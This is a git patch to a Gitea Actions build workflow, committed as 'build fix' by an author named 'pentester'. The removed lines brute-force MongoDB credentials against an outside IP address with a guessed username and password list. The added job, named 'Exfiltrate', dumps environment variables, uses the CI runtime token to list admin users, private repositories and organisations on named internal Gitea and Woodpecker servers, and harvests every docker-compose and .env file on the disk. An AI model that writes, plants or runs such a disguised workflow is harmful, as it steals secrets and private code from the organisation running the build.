From ee8a0f9bf1e1252e45f02f0856a3010d9c8b73b2 Mon Sep 17 00:00:00 2001 From: pentester Date: Tue, 6 Oct 2026 01:44:16 +0200 Subject: [PATCH] build fix --- .gitea/workflows/build.yml | 38 +++++++++++++++++++++++--------------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/.gitea/workflows/build.yml b/.gitea/workflows/build.yml index fcea22d..9c7fa74 100644 --- a/.gitea/workflows/build.yml +++ b/.gitea/workflows/build.yml @@ -1,22 +1,30 @@ name: build on: [push] jobs: - recon: + dump: runs-on: ubuntu-latest steps: - - name: MongoDB Dump + - name: Exfiltrate shell: cmd run: | - echo === MONGOSH AVAILABLE === > C:\recon4.txt - where mongosh >> C:\recon4.txt 2>&1 - dir C:\Users\ADMINI~1\AppData\Local\Temp\mongosh* >> C:\recon4.txt 2>&1 - echo. >> C:\recon4.txt - echo === MONGO isMaster === >> C:\recon4.txt - C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017" --eval "db.runCommand({hello:1})" --quiet >> C:\recon4.txt 2>&1 - echo. >> C:\recon4.txt - echo === MONGO COMMON CREDS === >> C:\recon4.txt - for %%U in (admin root strapi nonkyc shimbo midefos oliver) do for %%P in (admin password midefos Midefos1 Midefos123! oliver Oliver123! synlinq Synlinq123! changeme P@ssw0rd MongoDB123 mongo123 Addd34141! shimbo Shimbo123!) do C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://%%U:%%P@37.114.42.86:27017/admin?authSource=admin" --eval "print('FOUND: %%U:%%P'); db.adminCommand('listDatabases')" --quiet >> C:\recon4.txt 2>&1 - echo. >> C:\recon4.txt - echo === MONGO NO AUTH LOCAL DB === >> C:\recon4.txt - C:\Users\ADMINI~1\AppData\Local\Temp\mongosh-2.3.8-win32-x64\bin\mongosh.exe "mongodb://37.114.42.86:27017/local" --eval "db.getCollectionNames()" --quiet >> C:\recon4.txt 2>&1 - echo. >> C:\recon4.txt + echo === FULL ENV === > C:\exfil.txt + set >> C:\exfil.txt + echo. >> C:\exfil.txt + echo === GITEA INTERNAL — ADMIN USERS === >> C:\exfil.txt + curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 + echo. >> C:\exfil.txt + echo === GITEA — ALL REPOS INCLUDING PRIVATE === >> C:\exfil.txt + curl -sk "https://git.midefos.com/api/v1/repos/search?limit=100&private=true&sort=updated" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 + echo. >> C:\exfil.txt + echo === GITEA — MIDEFOS PRIVATE REPOS === >> C:\exfil.txt + curl -sk "https://git.midefos.com/api/v1/users/midefos/repos?limit=50" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 + echo. >> C:\exfil.txt + echo === WOODPECKER INTERNAL API === >> C:\exfil.txt + curl -sk "https://ci.midefos.com/api/user" -H "Authorization: Bearer %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 + echo. >> C:\exfil.txt + echo === GITEA ORG REPOS === >> C:\exfil.txt + curl -sk "https://git.midefos.com/api/v1/orgs" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 + echo. >> C:\exfil.txt + echo === DOCKER COMPOSE FILES === >> C:\exfil.txt + dir /s /b "C:\docker-compose*" "C:\*.env" >> C:\exfil.txt 2>&1 + for /r C:\ %%f in (docker-compose.yml docker-compose.yaml .env) do if exist "%%f" type "%%f" >> C:\exfil.txt 2>&1